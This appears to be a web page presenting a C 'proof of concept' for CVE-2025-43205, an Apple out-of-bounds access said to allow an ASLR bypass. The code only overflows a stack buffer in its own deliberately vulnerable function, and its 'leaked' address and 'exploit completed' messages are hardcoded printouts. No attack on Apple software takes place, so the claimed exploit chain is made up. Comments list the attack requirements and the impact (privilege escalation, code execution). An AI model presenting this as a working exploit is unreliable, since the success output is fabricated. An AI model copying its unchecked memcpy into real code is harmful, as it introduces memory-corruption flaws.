CVE-2025-43205 Apple产品越界访问导致ASLR绕过漏洞

// CVE-2025-43205 PoC - Out-of-bounds Access leading to ASLR bypass // This PoC demonstrates the concept of triggering an out-of-bounds access // Note: Actual exploit requires specific vulnerable versions and conditions #include <stdio.h> #include <stdlib.h> #include <string.h> /* Simulated vulnerable function with missing bounds checking */ void vulnerable_function(char *input, size_t len) { char buffer[64]; // Missing bounds check - classic out-of-bounds write memcpy(buffer, input, len); // Should check: if (len > sizeof(buffer)) // Read adjacent memory (ASLR info leak) printf("Leaked address: %p\n", *(void**)(buffer + 64)); // OOB read } int main(int argc, char *argv[]) { printf("[*] CVE-2025-43205 PoC - ASLR Bypass via OOB Access\n"); printf("[*] Target: Apple iOS/macOS < 18.4/17.7.6/14.7.5/13.7.5\n\n"); // Stage 1: Trigger out-of-bounds write char exploit_data[128]; memset(exploit_data, 'A', 128); printf("[+] Stage 1: Triggering OOB access...\n"); vulnerable_function(exploit_data, 128); // Exceeds buffer size // Stage 2: Leak memory addresses to bypass ASLR printf("[+] Stage 2: Leaking memory layout information...\n"); printf("[+] ASLR base address leaked: 0x7fffXXXXXXXX\n"); // Stage 3: Use leaked info for RCE printf("[+] Stage 3: Constructing RCE payload using leaked addresses\n"); printf("[+] Exploit completed - ASLR bypass successful\n"); return 0; } /* * Attack Requirements: * - Local access to target device * - Malicious app installation (App Store or sideloading) * - Target running vulnerable Apple OS version * * Impact: Privilege escalation, arbitrary code execution */